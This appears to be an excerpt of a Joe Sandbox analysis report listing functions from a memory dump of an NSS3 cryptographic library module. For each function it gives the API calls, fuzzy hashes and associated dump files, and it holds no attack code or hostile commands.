Instruction ID: a2728d6962802a7701383cdacb0658f90701279cdfabd6dd1a84f455ef56b394
Opcode Fuzzy Hash: 4d769ffe8a00269c4b003e4630d9e54f6f352ef51a1d0148ea2bb8d45df15e65
Instruction Fuzzy Hash: 3F31A174604704CFD700AF79D58426ABBF4FF98318F05892DD89987B00EB30E986CB92

Function 6CA12880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CA12896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CA12932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA1294C
free.MOZGLUE(?), ref: 6CA12955

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 1bd54d15379cddf98d9d8d675aeb5eaf5c0da084c062c4867efbd96e05ec716c
Instruction ID: 0367d261b72d43935f7d87a8114ef7f0089c689ed2b3e3f6a0f0638b8574ec0b
Opcode Fuzzy Hash: 1bd54d15379cddf98d9d8d675aeb5eaf5c0da084c062c4867efbd96e05ec716c
Instruction Fuzzy Hash: 6221A1B66046009BEB218F2AED09F4776E9AF9535CF080638E44987F61FA31E4998791

Function 6CA4A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A91D

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CA4A952

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 85f622f39d085626f5d1459e81e095e3bbff2978f0ca5305bb898f18a527387e
Instruction ID: 2234d9387b11dc503728cb53a2241375528136ab465b7efb1253cb8a88390fd1
Opcode Fuzzy Hash: 85f622f39d085626f5d1459e81e095e3bbff2978f0ca5305bb898f18a527387e
Instruction Fuzzy Hash: CD3139B5601201DFD704CF58D980E62BBF9FF58318F1981A9E8198B756E730EC55CBA1

Function 6C9C98A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

TlsGetValue.KERNEL32 ref: 6C9C98F5
EnterCriticalSection.KERNEL32 ref: 6C9C990E
PR_Unlock.NSS3 ref: 6C9C9942
PR_SetError.NSS3 ref: 6C9C995E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: efac8e42fa03c806c74a219c847b38d98921496123dc7b110f9a885ce8894dee
Instruction ID: 483de046051385d5e8776d8036ad6196cff9cb2337f5e5fbaff085929035a1d2
Opcode Fuzzy Hash: efac8e42fa03c806c74a219c847b38d98921496123dc7b110f9a885ce8894dee
Instruction Fuzzy Hash: 213127B4B056058FDB44EF69C58466EBBF8BF19308F02846DD8989B711E730E885CB93

Function 6C9E4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E5064

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 12d1c3edf6815c469002a26df8f5148dc9c2cdc6a2d15f770c74ce6472ea3b45
Instruction ID: 4e43cef21518d5dabeec4c241bbac4ebdc9d187c2e047496110dd1fa391f021e
Opcode Fuzzy Hash: 12d1c3edf6815c469002a26df8f5148dc9c2cdc6a2d15f770c74ce6472ea3b45
Instruction Fuzzy Hash: 323127B4A05606CFDB05EF68D48466ABBF8FF18308F148969E859D7B00E730E895CB91

Function 6C9A1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1EE2

Part of subcall function 6CA01820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C9A1D97,?,?), ref: 6CA01836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F13
DER_DecodeTimeChoice_Util.NSS3(?,6C9A4CA0,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F37
DER_DecodeTimeChoice_Util.NSS3(?,6C9A4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F53

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: dcaa046db635d1ca2c15d26e3608424746556d0110e20676714b6bd6183f9872
Instruction ID: ee8046ace5dc67c2420e8e0f47e8425ddc141a9ca0304919a1f511e3e0dea574
Opcode Fuzzy Hash: dcaa046db635d1ca2c15d26e3608424746556d0110e20676714b6bd6183f9872
Instruction Fuzzy Hash: 4B218071504346EBC700CE6ADD00ADBB7E9EB99699F400929E954C3A40F330E65DCB92

Function 6CA09F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CA0A71A,FFFFFFFF,?,?), ref: 6CA09FAB

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CA0A71A,6CA0A71A,00000000), ref: 6CA09FD9

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CA0A71A,6CA0A71A,00000000), ref: 6CA0A009
PR_SetError.NSS3(FFFFE013,00000000,6CA0A71A,6CA0A71A,00000000), ref: 6CA0A045

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 6a2abbdc819d165908efd5f1938756e40c1a23b82e54aa036bb195fbc52047b7
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 2521A7B470020A9BF7009F15EC50F66B7AAFF4539CF14C128D91987B81E776E858CB90

Function 6CA12DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA12E08

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CA12E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CA12E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA12E95

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 786e28c37b51b759515e2c04d735f0053e2907ea5d2b43acf533c46e978a5b9c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 1721F9B1E443454BEB00CF549E447BA3B746F9234CF150369ED085BB92F7B1E5D88291

Function 6C9E1870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E18A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C9C6C34,?,?,00000001,00000000,00000007,?), ref: 6C9E18B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9C6C34,?,?), ref: 6C9E18E1
PR_SetError.NSS3(00000000,00000000), ref: 6C9E18F9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0a50dca83e90b2810a4a2cd50e6068ee39f0c8d005202d5c86fcac821b4bb7cc
Instruction ID: 33a01f8ed9899a5dce4a89cfd2bee3885e6ebd29174efad44dc8d3a919a19ed9
Opcode Fuzzy Hash: 0a50dca83e90b2810a4a2cd50e6068ee39f0c8d005202d5c86fcac821b4bb7cc
Instruction Fuzzy Hash: 16213475E002099BDB04AF68EC50AEE7B78FF1A318F044068ED1567702EB35E959CBE1

Function 6C9A69B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C9A6AB7,0000000C,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A69CE

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1EncodeItem_Util.NSS3(6C9A6AB7,0000001C,00000004,?,00000001,00000000), ref: 6C9A6A06
SEC_ASN1EncodeItem_Util.NSS3(6C9A6AB7,?,00000000,?,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A6A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A6A42

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 22ce1137158857078a2d5928bb587ed34d0295f1d9f0f166ca2b72f2a5af1676
Instruction ID: fad9918b685079e3ade50de131dccfeeba64eb3dd89585a9d6cb73b454a78fb8
Opcode Fuzzy Hash: 22ce1137158857078a2d5928bb587ed34d0295f1d9f0f166ca2b72f2a5af1676
Instruction Fuzzy Hash: 3311CEB2640201AFE710CEADDC84B9673ECEB5075CF14C529EA29C3B41E731E896C7A0

Function 6C9CACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C9CACC2

Part of subcall function 6C9A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C9A2F0A
Part of subcall function 6C9A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9A2F1D

Part of subcall function 6C9A2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C9A0A1B,00000000), ref: 6C9A2AF0
Part of subcall function 6C9A2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C9CAD5E

Part of subcall function 6C9E57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C9AB41E,00000000,00000000,?,00000000,?,6C9AB41E,00000000,00000000,00000001,?), ref: 6C9E57E0
Part of subcall function 6C9E57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C9E5843

CERT_DestroyCertList.NSS3(?), ref: 6C9CAD36

Part of subcall function 6C9A2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C9A2F65
Part of subcall function 6C9A2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9A2F83

free.MOZGLUE(?), ref: 6C9CAD4F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: e5603e3d216e1739f075f172840a9efa80f5620a17bfb1b1281ffc21171275b8
Instruction ID: aec8b2432960a501e20cde07579663376d988df9d5b26e8373be974433fef3f4
Opcode Fuzzy Hash: e5603e3d216e1739f075f172840a9efa80f5620a17bfb1b1281ffc21171275b8
Instruction Fuzzy Hash: 4421C6B1E002148BEB10DFA5D9055EE77B4AF29308F454068D8097BA00FB31EA59CBA3

Function 6C9F3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C9F3CAE
PR_Unlock.NSS3(?), ref: 6C9F3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3D02

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3e43f2ea1d4216ec5a9e2b3d4f5e12e4501ca07fa3b12241ff5acb40b98235c2
Instruction ID: 7266d617d46c4e07efb39f4019e9f6ed3090b78334fc94b5e07a507cf44a2ab0
Opcode Fuzzy Hash: 3e43f2ea1d4216ec5a9e2b3d4f5e12e4501ca07fa3b12241ff5acb40b98235c2
Instruction Fuzzy Hash: 43119679A00204AFDB00AF34DC44A963778FF19368F198564ED1897711E735ED56CBE1

Function 6C9FECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C9FF0AD,6C9FF150,?,6C9FF150,?,?,?), ref: 6C9FECBA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C9FECD1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
